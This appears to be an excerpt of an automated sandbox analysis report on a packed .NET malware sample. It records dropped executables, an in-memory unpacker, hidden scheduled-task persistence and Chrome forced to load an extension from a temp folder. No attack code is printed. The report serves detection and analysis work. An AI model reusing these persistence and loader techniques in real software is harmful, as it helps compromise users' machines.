Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Section loaded: atiadlxy.dll	Jump to behavior

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\zlONcFaXkc.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: zlONcFaXkc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: zlONcFaXkc.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: zlONcFaXkc.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: zlONcFaXkc.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\Users\weckb\source\repos\Hider\Hider\obj\x64\Release\Hider.pdb source: zcezeaqsuhi.exe, 00000002.00000000.1717795774.000002A5B9702000.00000002.00000001.01000000.00000008.sdmp, zcezeaqsuhi.exe, 00000002.00000002.2015898421.000002A5BB410000.00000002.00000001.00040000.00000008.sdmp, zcezeaqsuhi.exe.1.dr
Source:	Binary string: mscorlib.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.ni.pdbRSDS source: WERD304.tmp.dmp.9.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9DD0000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1680370592.000001DFC1F10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: Lwbtkgrhgw.pdb source: zlONcFaXkc.exe, 00000000.00000002.1675678511.000001DFC1CB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB97BC000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: Hider.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9DD0000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1680370592.000001DFC1F10000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS7^3l source: WERD304.tmp.dmp.9.dr
Source:	Binary string: protobuf-net.pdb source: zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9D12000.00000004.00000800.00020000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1676626747.000001DFC1DB0000.00000004.08000000.00040000.00000000.sdmp, zlONcFaXkc.exe, 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: System.ni.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.pdb source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdbRSDS source: WERD304.tmp.dmp.9.dr
Source:	Binary string: System.Core.ni.pdb source: WERD304.tmp.dmp.9.dr

Data Obfuscation

.NET source code contains potential unpacker

Source: zlONcFaXkc.exe, Program.cs	.Net Code: Main System.Reflection.Assembly.Load(byte[])
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.zlONcFaXkc.exe.1dfb9dd0178.9.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.zlONcFaXkc.exe.1dfc1f10000.16.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.zlONcFaXkc.exe.1dfb9cc2298.10.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.zlONcFaXkc.exe.1dfb9cc2298.10.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.zlONcFaXkc.exe.1dfb9cc2298.10.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.zlONcFaXkc.exe.1dfb9cc2298.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.zlONcFaXkc.exe.1dfb9cc2298.10.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull

Yara detected Costura Assembly Loader

Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9b593b8.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9b31380.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9b593b8.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9c49428.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfc1c40000.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9b31380.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.zlONcFaXkc.exe.1dfb9994288.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1670015901.000001DFB9C49000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1666984608.000001DFA9511000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1675426228.000001DFC1C40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1670015901.000001DFB9994000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.4116525327.000001D09B6C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zlONcFaXkc.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Target.exe PID: 7384, type: MEMORYSTR

Source: zlONcFaXkc.exe

Static PE information: 0x89B686F2 [Fri Mar 20 05:04:50 2043 UTC]

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9B8AEF50 push cs; ret	0_2_00007FFD9B8AEF53
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Code function: 0_2_00007FFD9BA520A2 push eax; ret	0_2_00007FFD9BA520A3
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8C6B00 push eax; iretd	1_2_00007FFD9B8C6DCD
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8C6C69 push eax; iretd	1_2_00007FFD9B8C6DCD
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B8D8169 push ebx; ret	1_2_00007FFD9B8D816A
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9B88EF50 push cs; ret	1_2_00007FFD9B88EF53
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	Code function: 1_2_00007FFD9BA3792B push ebx; retf	1_2_00007FFD9BA3796A
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_00007FFD9B87095B push ebp; retf	2_2_00007FFD9B870961
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_00007FFD9B87126D push E95E53B6h; ret	2_2_00007FFD9B871299
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Code function: 2_2_00007FFD9B87096C push ebp; retf	2_2_00007FFD9B87096E

Source: zlONcFaXkc.exe	Static PE information: section name: .text entropy: 7.997352220653475
Source: Target.exe.0.dr	Static PE information: section name: .text entropy: 7.997352220653475

Persistence and Installation Behavior

Yara detected PersistenceViaHiddenTask

Source: Yara match	File source: 00000000.00000002.1665987392.000001DFA7B16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zlONcFaXkc.exe PID: 7316, type: MEMORYSTR

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	File created: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe	File created: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"
Source: C:\Users\user\AppData\Local\Temp\zcezeaqsuhi.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --load-extension="C:\Users\user\AppData\Local\Temp\Extension"			Jump to behavior

Boot Survival

Yara detected PersistenceViaHiddenTask

Source: Yara match	File source: 00000000.00000002.1665987392.000001DFA7B16000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: zlONcFaXkc.exe PID: 7316, type: MEMORYSTR

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_C366A24065C39A1BE76E148DC2D0A868

Source: C:\Users\user\AppData\Roaming\IsFixedSize\Target.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\cd738f7ec36d311b107bd6ec4b05793a 9F06F2D0565EA31B8A486D63B122AF45

Jump to behavior

Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\zlONcFaXkc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
